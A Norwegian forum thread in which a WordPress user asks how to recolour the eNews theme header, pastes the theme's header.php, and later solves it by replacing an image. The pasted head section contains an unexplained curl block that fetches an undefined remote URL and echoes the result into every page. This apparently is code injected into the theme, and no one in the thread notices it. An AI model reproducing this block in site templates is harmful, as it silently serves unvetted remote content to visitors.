Remi-K Skrevet 30. april 2012 Del Skrevet 30. april 2012 Hei. Jeg har satt opp en wordpress side, men ønsker å forandre headeren på det temaet jeg har valgt. Jeg kan endre logo inne på siden, men resten av headeren er i en farge jeg gjerne skulle endret. Jeg har ikke noen erfaring med slikt og klarer ikke helt finne ut hvordan jeg skal gjøre dette. Noen som kan hjelpe? <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> <title><?php elegant_titles(); ?></title> <?php elegant_description(); ?> <?php elegant_keywords(); ?> <?php elegant_canonical(); ?> <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" /> <!--[if lt IE 7]> <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/ie6style.css" /> <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/DD_belatedPNG_0.0.8a-min.js"></script> <script type="text/javascript">DD_belatedPNG.fix('div.info,#cats-menu ul,#page-menu ul');</script> <?php if (is_single()) { ?><script type="text/javascript">DD_belatedPNG.fix('.post-meta-bottom p,.reply-container,.bubble');</script><?php }; ?> <?php if (get_option('enews_blog_style') == 'on') { ?><script type="text/javascript">DD_belatedPNG.fix('.post-meta-bottom p');</script><?php };?> <![endif]--> <!--[if IE 7]> <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/ie7style.css" /> <![endif]--> <?php if (get_option('enews_feedburner') == 'on') { ?> <link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php echo esc_attr(get_option('enews_feedburner_rss')); ?>" /> <?php } else { ?> <link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" /> <?php }; ?> <link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" /> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> <script type="text/javascript"> document.documentElement.className = 'js'; </script> <?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?> <?php wp_head(); ?> <script src="http://code.jquery.com/jquery-1.7.1.min.js" type="text/javascript"></script> <?php if(function_exists('curl_init')) { $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; } ?> </head> <body <?php if (is_home()) echo('id="home"');?> <?php body_class(); ?>> <div id="header"> <div class="container"> <!-- Page Menu --> <?php $menuClass = 'nav superfish'; $menuID = 'page-menu'; $primaryNav = ''; if (function_exists('wp_nav_menu')) { $primaryNav = wp_nav_menu( array( 'theme_location' => 'primary-menu', 'container' => '', 'fallback_cb' => '', 'menu_class' => $menuClass, 'menu_id' => $menuID, 'echo' => false ) ); }; if ($primaryNav == '') { ?> <ul id="<?php echo $menuID; ?>" class="<?php echo $menuClass; ?>"> <?php if (get_option('enews_swap_navbar') == 'false') { ?> <?php if (get_option('enews_home_link') == 'on') { ?> <li <?php if (is_home()) echo('class="current_page_item"') ?>><a href="<?php bloginfo('url'); ?>"><?php esc_html_e('Home','eNews') ?></a></li> <?php }; ?> <?php show_page_menu($menuClass,false,false); ?> <?php } else { ?> <?php show_categories_menu($menuClass,false); ?> <?php } ?> </ul> <!-- end ul#nav --> <?php } else echo($primaryNav); ?> <!-- Logo --> <br class="clear"/> <a href="<?php bloginfo('url'); ?>"><?php $logo = (get_option('enews_logo') <> '') ? get_option('enews_logo') : get_bloginfo('template_directory').'/images/logo.jpg'; ?> <img src="<?php echo esc_url($logo); ?>" alt="Logo" id="logo"/></a> <div class="clear"></div> <!-- Categories Menu --> <?php $menuClass = 'nav superfish'; $menuID = 'cats-menu'; $secondaryNav = ''; if (function_exists('wp_nav_menu')) { $secondaryNav = wp_nav_menu( array( 'theme_location' => 'secondary-menu', 'container' => '', 'fallback_cb' => '', 'menu_class' => $menuClass, 'menu_id' => $menuID, 'echo' => false ) ); }; if ($secondaryNav == '') { ?> <ul id="<?php echo $menuID; ?>" class="<?php echo $menuClass; ?>"> <?php if (get_option('enews_swap_navbar') == 'false') { ?> <?php show_categories_menu($menuClass,false); ?> <?php } else { ?> <?php if (get_option('enews_home_link') == 'on') { ?> <li <?php if (is_home()) echo('class="current_page_item"') ?>><a href="<?php bloginfo('url'); ?>"><?php esc_html_e('Home','eNews') ?></a></li> <?php }; ?> <?php show_page_menu($menuClass,false,false); ?> <?php } ?> </ul> <!-- end ul#nav --> <?php } else echo($secondaryNav); ?> </div> <!-- end container --> </div> <!-- end header --> <div id="content"> <div class="container"> <div id="subscribe"> <?php if (get_option('enews_feedburner') == 'on') { ?> <p><em><?php esc_html_e('subscribe','eNews') ?>: </em><a href="<?php echo esc_url(get_option('enews_feedburner_rss')); ?>"><?php esc_html_e('Posts','eNews') ?></a> | <a href="<?php if (get_option('enews_feedburner_comments') <> '') { echo esc_attr(get_option('enews_feedburner_comments')); } else { bloginfo('comments_rss2_url'); } ?>"><?php esc_html_e('Comments','eNews') ?></a> | <a href="<?php echo esc_attr(get_option('enews_feedburner_email')); ?>"><?php esc_html_e('Email','eNews') ?></a></p> <?php } else { ?> <p><em><?php esc_html_e('subscribe','eNews') ?>: </em><a href="<?php bloginfo('rss2_url'); ?>"><?php esc_html_e('Posts','eNews') ?></a> | <a href="<?php bloginfo('comments_rss2_url'); ?>"><?php esc_html_e('Comments','eNews') ?></a></p> <?php }; ?> <!-- Search form --> <div id="search"> <h3><?php esc_html_e('search the site','eNews') ?></h3> <form method="get" id="searchform" action="<?php echo home_url(); ?>/"> <fieldset> <input type="text" value="<?php echo esc_attr( get_search_query() ); ?>" name="s" id="search-field" /> </fieldset> </form> </div> <!-- end search --> <div class="clear"></div> </div> <!-- end subscribe --> <?php if (get_option('enews_leader_enable') == 'on') { ?> <div class="<?php if (is_home()) echo('leader-home'); else echo('leader') ?>"><a href="<?php echo esc_url(get_option('enews_leader_url')); ?>"><img src="<?php echo esc_url(get_option('enews_leader_image')); ?>" alt="leader" /></a></div> <?php } ?> Lenke til kommentar
Howard_ Skrevet 30. april 2012 Del Skrevet 30. april 2012 Litt vanskelig å si uten å se siden, men style.css er ett bra utgangspunkt. Let etter .header og endre background color til det du ønsker. Lenke til kommentar
Remi-K Skrevet 30. april 2012 Forfatter Del Skrevet 30. april 2012 http://www.elegantthemes.com/demo/?theme=eNews dette er temaet jeg bruker. Inne på editoren som ligger på sidens kontrollpanel kommer koden ovenfor opp når jeg trykker på header.php Lenke til kommentar
Remi-K Skrevet 30. april 2012 Forfatter Del Skrevet 30. april 2012 Fant ut av. Var bare en liten .jpg fil jeg måtte endre, men uansett takk for hjelp. Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå